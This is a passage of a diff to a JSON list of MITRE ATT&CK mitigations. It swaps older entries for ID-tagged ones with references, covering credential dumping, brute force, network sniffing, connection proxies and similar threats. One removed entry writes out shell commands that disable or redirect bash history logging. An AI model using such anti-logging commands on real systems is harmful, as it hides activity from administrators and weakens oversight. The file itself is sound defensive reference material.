Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements. (Citation: TechNet Credential Guard) It also does not protect against all forms of credential dumping. (Citation: GitHub SHB Credential Guard)\n\nManage the access control list for “Replicating Directory Changes” and other permissions associated with domain controller replication. (Citation: AdSecurity DCSync Sept 2015) (Citation: Microsoft Replication ACL)\n\nConsider disabling or restricting NTLM traffic. (Citation: Microsoft Disable NTLM Nov 2012)\n\n### Linux\nScraping the passwords from memory requires root privileges. Follow best practices in restricting access to escalated privileges to avoid hostile programs from accessing such sensitive regions of memory.", "meta": { - "uuid": "82214f89-9374-4169-8d93-1ea6df7c76e7" + "external_id": "T1003", + "refs": [ + "https://attack.mitre.org/techniques/T1003", + "https://technet.microsoft.com/en-us/library/dn408187.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "https://technet.microsoft.com/en-us/itpro/windows/keep-secure/credential-guard", + "https://github.com/iadgov/Secure-Host-Baseline/tree/master/Credential%20Guard", + "https://adsecurity.org/?p=1729", + "https://support.microsoft.com/help/303972/how-to-grant-the-replicating-directory-changes-permission-for-the-micr", + "https://technet.microsoft.com/library/jj865668.aspx", + "https://docs.microsoft.com/en-us/windows-server/identity/securing-privileged-access/securing-privileged-access-reference-material#a-nameesaebmaesae-administrative-forest-design-approach" + ] }, - "value": "Launch Agent Mitigation" + "related": [ + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a", + "value": "Credential Dumping Mitigation - T1003" }, { - "description": "Use multifactor authentication. Follow guidelines to prevent or limit adversary access to [[Technique/T1078|Valid Accounts]].\n\nProtect domain controllers by ensuring proper security configuration for critical servers. Configure access controls and firewalls to limit access to these systems. Do not allow domain administrator accounts to be used for day-to-day operations that may expose them to potential adversaries on unprivileged systems.", + "description": "Ensure that Android devices being used include and enable the Verified Boot capability, which cryptographically ensures the integrity of the system partition.", "meta": { - "uuid": "fdb1ae84-7b00-4d3d-b7dc-c774beef6425" + "external_id": "M1004", + "refs": [ + "https://attack.mitre.org/mitigations/M1004" + ] }, - "value": "Account Manipulation Mitigation" + "related": [ + { + "dest-uuid": "c5089859-b21f-40a3-8be4-63e381b8b1c0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "7b1cf46f-784b-405a-a8dd-4624c19d8321", + "value": "System Partition Integrity - M1004" }, { - "description": "Windows 8.1, Windows Server 2012 R2, and later versions, may make LSA run as a Protected Process Light (PPL) by setting the Registry key HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\RunAsPPL, which requires all DLLs loaded by LSA to be signed by Microsoft.[[CiteRef::Graeber 2014]][[CiteRef::Microsoft Configure LSA]]", + "description": "Ensure that all wireless traffic is encrypted appropriately. Use Kerberos, SSL, and multifactor authentication wherever possible. Monitor switches and network for span port usage, ARP/DNS poisoning, and router reconfiguration.\n\nIdentify and block potentially malicious software that may be used to sniff or analyze network traffic by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "943d370b-2054-44df-8be2-ab4139bde1c5" + "external_id": "T1040", + "refs": [ + "https://attack.mitre.org/techniques/T1040", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://technet.microsoft.com/en-us/library/ee791851.aspx", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html" + ] }, - "value": "Authentication Package Mitigation" + "related": [ + { + "dest-uuid": "3257eb21-f9a7-4430-8de1-d8b6e288f529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "46b7ef91-4e1d-43c5-a2eb-00fa9444f6f4", + "value": "Network Sniffing Mitigation - T1040" }, { - "description": "Identify and block potentially malicious software that may be used as a remote access tool, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create new services.\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to create services by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "f9b3e5d9-7454-4b7d-bce6-27620e19924e" + "external_id": "T1050", + "refs": [ + "https://attack.mitre.org/techniques/T1050", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Redundant Access Mitigation" + "related": [ + { + "dest-uuid": "478aa214-2ca7-4ec0-9978-18798e514790", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "b7b2c89c-09c1-4b71-ae7c-000ec2893aab", + "value": "New Service Mitigation - T1050" }, { - "description": "There currently aren't a lot of ways to mitigate application shimming. Disabling the Shim Engine isn't recommended because Windows depends on shimming for interoperability and software may become unstable or not work. Microsoft released an optional patch update - KB3045645 - that will remove the \"auto-elevate\" flag within the sdbinst.exe. This will prevent use of application shimming to bypass UAC. \n\nChanging UAC settings to \"Always Notify\" will give the user more visibility when UAC elevation is requested, however, this option will not be popular among users due to the constant UAC interruptions.", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "13d64a9b-0ba0-42df-8e59-ff8bcf11bba5" + "external_id": "T1008", + "refs": [ + "https://attack.mitre.org/techniques/T1008", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Application Shimming Mitigation" + "related": [ + { + "dest-uuid": "f24faf46-3b26-4dbb-98f2-63460498e433", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514", + "value": "Fallback Channels Mitigation - T1008" }, { - "description": "Take measures to detect or prevent techniques such as [[Technique/T1003|Credential Dumping]] or installation of keyloggers to acquire credentials through [[Technique/T1056|Input Capture]]. Limit credential overlap across systems to prevent access if account credentials are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled and use of accounts is segmented, as this is often equivalent to having a local administrator account with the same password on all systems. Follow best practices for design and administration of an enterprise network to limit privileged account use across administrative tiers.[[CiteRef::Microsoft Securing Privileged Access]]. Audit domain and local accounts as well as their permission levels routinely to look for situations that could allow an adversary to gain wide access by obtaining credentials of a privileged account.[[CiteRef::TechNet Credential Theft]][[CiteRef::TechNet Least Privilege]]", + "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "d45f03a8-790a-4f90-b956-cd7e5b8886bf" + "external_id": "T1009", + "refs": [ + "https://attack.mitre.org/techniques/T1009", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Valid Accounts Mitigation" + "related": [ + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332", + "value": "Binary Padding Mitigation - T1009" }, { - "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to [[Technique/T1078|Valid Accounts]]", + "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c" + "external_id": "T1090", + "refs": [ + "https://attack.mitre.org/techniques/T1090", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Brute Force Mitigation" + "related": [ + { + "dest-uuid": "731f4f55-b6d0-41d1-a7a9-072a66389aea", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8", + "value": "Connection Proxy Mitigation - T1090" }, { - "description": "Other tools should be used to supplement Gatekeeper's functionality. Additionally, system settings can prevent applications from running that haven't been downloaded through the Apple Store which can help mitigate some of these issues.", + "description": "Application developers should encrypt all of their application network traffic using the Transport Layer Security (TLS) protocol to ensure protection of sensitive data and deter network-based attacks. If desired, application developers could perform message-based encryption of data before passing it for TLS encryption.\n\niOS's App Transport Security feature can be used to help ensure that all application network traffic is appropriately protected. Apple intends to mandate use of App Transport Security (Citation: TechCrunch-ATS) for all apps in the Apple App Store unless appropriate justification is given.\n\nAndroid's Network Security Configuration feature similarly can be used by app developers to help ensure that all of their application network traffic is appropriately protected (Citation: Android-NetworkSecurityConfig).\n\nUse of Virtual Private Network (VPN) tunnels, e.g. using the IPsec protocol, can help mitigate some types of network attacks as well.", "meta": { - "uuid": "1b727aaa-8274-425a-9a68-fd51d05434d8" + "external_id": "M1009", + "refs": [ + "https://attack.mitre.org/mitigations/M1009", + "https://techcrunch.com/2016/06/14/apple-will-require-https-connections-for-ios-apps-by-the-end-of-2016/", + "https://developer.android.com/training/articles/security-config.html" + ] }, - "value": "Gatekeeper Bypass Mitigation" + "related": [ + { + "dest-uuid": "393e8c12-a416-4575-ba90-19cc85656796", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fb3fa94a-3aee-4ab0-b7e7-abdf0a51286d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a5de0540-73e7-4c67-96da-4143afedc7ed", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f58cd69a-e548-478b-9248-8a9af881dc34", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d731c21e-f27d-4756-b418-0e2aaabd6d63", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "633baf01-6de4-4963-bb54-ff6c6357bed3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3b0b604f-10db-41a0-b54c-493124d455b9", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "8220b57e-c400-4525-bf69-f8edc6b389a8", + "value": "Encrypt Network Traffic - M1009" }, { - "description": "There are multiple methods of preventing a user's command history from being flushed to their .bash_history file, including use of the following commands:\nset +o history and set -o history to start logging again;\nunset HISTFILE being added to a user's .bash_rc file; and\nln -s /dev/null ~/.bash_history to write commands to /dev/nullinstead.", + "description": "Set account lockout policies after a certain number of failed login attempts to prevent passwords from being guessed. Use multifactor authentication. Follow best practices for mitigating access to [Valid Accounts](https://attack.mitre.org/techniques/T1078)", "meta": { - "uuid": "24e1d561-0e21-4933-8276-62256e430fcd" + "external_id": "T1110", + "refs": [ + "https://attack.mitre.org/techniques/T1110" + ] }, - "value": "Bash History Mitigation" + "related": [ + { + "dest-uuid": "a93494bb-4b80-4ea1-8695-3236a49916fd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4a99fecc-680b-448e-8fe7-8144c60d272c", + "value": "Brute Force Mitigation - T1110" }, { - "description": "Identify potentially malicious software that may be executed from a padded or otherwise obfuscated binary, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information within the Registry, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "16a8ac85-a06f-460f-ad22-910167bd7332" + "external_id": "T1012", + "refs": [ + "https://attack.mitre.org/techniques/T1012", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Binary Padding Mitigation" + "related": [ + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "0640214c-95af-4c04-a574-2a1ba6dda00b", + "value": "Query Registry Mitigation - T1012" }, { - "description": "Instead of blocking software based on clipboard capture behavior, identify potentially malicious software that may contain this functionality, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Limit the number of accounts that may use remote services. Use multifactor authentication where possible. Limit the permissions for accounts that are at higher risk of compromise; for example, configure SSH so users can only run specific programs. Prevent Credential Access techniques that may allow an adversary to acquire [Valid Accounts](https://attack.mitre.org/techniques/T1078) that can be used by existing services.", "meta": { - "uuid": "19edfa02-1a5f-47e4-ad82-3288f57f64cf" + "external_id": "T1021", + "refs": [ + "https://attack.mitre.org/techniques/T1021" + ] }, - "value": "Clipboard Data Mitigation" + "related": [ + { + "dest-uuid": "54a649ff-439a-41a4-9856-8d144a2551ba", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "979e6485-7a2f-42bd-ae96-4e622c3cd173", + "value": "Remote Services Mitigation - T1021" }, { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to compress files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIf network intrusion prevention or data loss prevention tools are set to block specific file types from leaving the network over unencrypted channels, then an adversary may move to an encrypted channel.", + "description": "Firewalls and Web proxies can be used to enforce external network communication policy. It may be difficult for an organization to block particular services because so many of them are commonly used during the course of business.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol or encoded commands used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", "meta": { - "uuid": "28adf6fd-ab6c-4553-9aa7-cef18a191f33" + "external_id": "T1102", + "refs": [ + "https://attack.mitre.org/techniques/T1102", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ] }, - "value": "Data Compressed Mitigation" + "related": [ + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "4689b9fb-dca4-473e-831b-34717ad50c97", + "value": "Web Service Mitigation - T1102" }, { - "description": "Monitor/harden access to LSASS and SAM table with tools that allow process whitelisting. Limit credential overlap across systems to prevent lateral movement opportunities using [[Technique/T1078|Valid Accounts]] if passwords and hashes are obtained. Ensure that local administrator accounts have complex, unique passwords across all systems on the network. Do not put user or admin domain accounts in the local administrator groups across systems unless they are tightly controlled, as this is often equivalent to having a local administrator account with the same password on all systems. On Windows 8.1 and Windows Server 2012 R2, enable Protected Process Light for LSA.[[CiteRef::Microsoft LSA]]\n\nIdentify and block potentially malicious software that may be used to dump credentials by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nWith Windows 10, Microsoft implemented new protections called Credential Guard to protect the LSA secrets that can be used to obtain credentials through forms of credential dumping. It is not configured by default and has hardware and firmware system requirements.[[CiteRef::TechNet Credential Guard]] It also does not protect against all forms of credential dumping.[[CiteRef::GitHub SHB Credential Guard]]", + "description": "This mitigation describes any guidance or training given to developers of applications to avoid introducing security weaknesses that an adversary may be able to take advantage of.", "meta": { - "uuid": "aeff5887-8f9e-48d5-a523-9b395e2ce80a" + "external_id": "M1013", + "refs": [ + "https://attack.mitre.org/mitigations/M1013" + ] }, - "value": "Credential Dumping Mitigation" + "related": [ + { + "dest-uuid": "29e07491-8947-43a3-8d4e-9a787c45f3d3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "25dc1ce8-eb55-4333-ae30-a7cb4f5894a1", + "value": "Application Developer Guidance - M1013" }, { - "description": "Use of encryption provides an added layer of security to sensitive information sent over email. Encryption using public key cryptography requires the adversary to obtain the private certificate along with an encryption key to decrypt messages.\n\nUse of two-factor authentication for public-facing webmail servers is also a recommended best practice to minimize the usefulness of user names and passwords to adversaries.\n\nIdentify unnecessary system utilities or potentially malicious software that may be used to collect email data files or access the corporate email server, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", + "description": "Upgrade to Windows 8 or later and enable secure boot.\n\nIdentify and block potentially malicious software that may be executed through AppInit DLLs by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown DLLs.", "meta": { - "uuid": "383caaa3-c46a-4f61-b2e3-653eb132f0e7" + "external_id": "T1103", + "refs": [ + "https://attack.mitre.org/techniques/T1103", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + ] }, - "value": "Email Collection Mitigation" + "related": [ + { + "dest-uuid": "317fefa6-46c7-4062-adb6-2008cf6bcb41", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "10571bf2-8073-4edf-a71c-23bad225532e", + "value": "AppInit DLLs Mitigation - T1103" }, { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", + "description": "Identify and block potentially malicious software that may persist in this manner by using whitelisting (Citation: Beechey 2010) tools capable of monitoring DLL loads by processes running under SYSTEM permissions.", "meta": { - "uuid": "515f6584-fa98-44fe-a4e8-e428c7188514" + "external_id": "T1013", + "refs": [ + "https://attack.mitre.org/techniques/T1013", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599" + ] }, - "value": "Fallback Channels Mitigation" + "related": [ + { + "dest-uuid": "1f47e2fd-fa77-4f2f-88ee-e85df308f125", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + } + ], + "uuid": "1c6bc7f3-d517-4971-aed4-8f939090846b", + "value": "Port Monitors Mitigation - T1013" }, { - "description": "Identify and block potentially malicious software that may be used to acquire credentials or information from the user by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]\n\nIn cases where this behavior is difficult to detect or mitigate, efforts can be made to lessen some of the impact that might result from an adversary acquiring credential information. It is also good practice to follow mitigation recommendations for adversary use of [[Technique/T1078|Valid Accounts]].", + "description": "To use this technique remotely, an adversary must use it in conjunction with RDP. Ensure that Network Level Authentication is enabled to force the remote desktop session to authenticate before the session is created and the login screen displayed. It is enabled by default on Windows Vista and later. (Citation: TechNet RDP NLA)\n\nIf possible, use a Remote Desktop Gateway to manage connections and security configuration of RDP within a network. (Citation: TechNet RDP Gateway)\n\nIdentify and block potentially malicious software that may be executed by an adversary with this technique by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { - "uuid": "da8a87d2-946d-4c34-9a30-709058b98996" + "external_id": "T1015", + "refs": [ + "https://attack.mitre.org/techniques/T1015", + "https://technet.microsoft.com/en-us/library/cc732713.aspx", + "https://technet.microsoft.com/en-us/library/cc731150.aspx", + "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", + "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", + "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", + "https://technet.microsoft.com/en-us/library/ee791851.aspx" + ] }, - "value": "Input Capture Mitigation" - }, - { - "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized users can create scheduled tasks. Identify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting tools.", - "meta": { - "uuid": "979187f5-da2a-4c9d-b57e-37f23da828ec" - }, - "value": "Cron Job Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "da987565-27b6-4b31-bbcd-74b909847116" - }, - "value": "Multiband Communication Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific C2 protocol used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "d75a3d1b-b536-4f15-a23c-f4bcc17837b8" - }, - "value": "Connection Proxy Mitigation" - }, - { - "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "51b37302-b844-4c08-ac98-ae6955ed1f55" - }, - "value": "Screen Capture Mitigation" - }, - { - "description": "Process whitelisting and trusted publishers to verify authenticity of software can help prevent signed malicious or untrusted code from executing on a system.[[CiteRef::NSA MS AppLocker]][[CiteRef::TechNet Trusted Publishers]][[CiteRef::Securelist Digital Certificates]]", - "meta": { - "uuid": "82fbc58b-171d-4a2d-9a20-c6b2a716bd08" - }, - "value": "Code Signing Mitigation" - }, - { - "description": "Mitigating this technique specifically may be difficult as it requires fine-grained API control. Efforts should be focused on preventing unwanted or unknown code from executing on a system.\n\nIdentify and block potentially malicious software that may be used to capture video and images by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "d9f4b5fa-2a39-4bdf-b40a-ea998933cd6d" - }, - "value": "Video Capture Mitigation" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to encrypt files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "2a8de25c-f743-4348-b101-3ee33ab5871b" - }, - "value": "Data Encrypted Mitigation" - }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool C2 signatures over time or construct protocols in such a way as to avoid detection by common defensive tools.[[CiteRef::University of Birmingham C2]]", - "meta": { - "uuid": "fcbe8424-eb3e-4794-b76d-e743f5a49b8b" - }, - "value": "Data Encoding Mitigation" - }, - { - "description": "Identify unnecessary system utilities, third-party tools, or potentially malicious software that may be used to delete files, and audit and/or block them by using whitelisting[[CiteRef::Beechey 2010]] tools like AppLocker[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "34efb2fd-4dc2-40d4-a564-0c147c85034d" - }, - "value": "File Deletion Mitigation" - }, - { - "description": "Prevent users from being able to write files to the search paths for applications - both in the folders where applications are run from and the standard dylib folders. If users can't write to these directories, then they can't intercept the search path.", - "meta": { - "uuid": "cb7ac4a3-9a66-4fb5-b48e-4babb57609ee" - }, - "value": "Dylib Hijacking Mitigation" - }, - { - "description": "Mitigating specific API calls will likely have unintended side effects, such as preventing legitimate software from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identification of subsequent malicious behavior. \n\nIdentify or block potentially malicious software that may contain DLL injection functionality by using whitelisting[[CiteRef::Beechey 2010]] tools, like AppLocker,[[CiteRef::Windows Commands JPCERT]][[CiteRef::NSA MS AppLocker]] or Software Restriction Policies[[CiteRef::Corio 2008]] where appropriate.[[CiteRef::TechNet Applocker vs SRP]]", - "meta": { - "uuid": "74febc44-8955-4e4d-aca0-d4dad2f967d7" - }, - "value": "DLL Injection Mitigation" - }, - { - "description": "Limit privileges of user 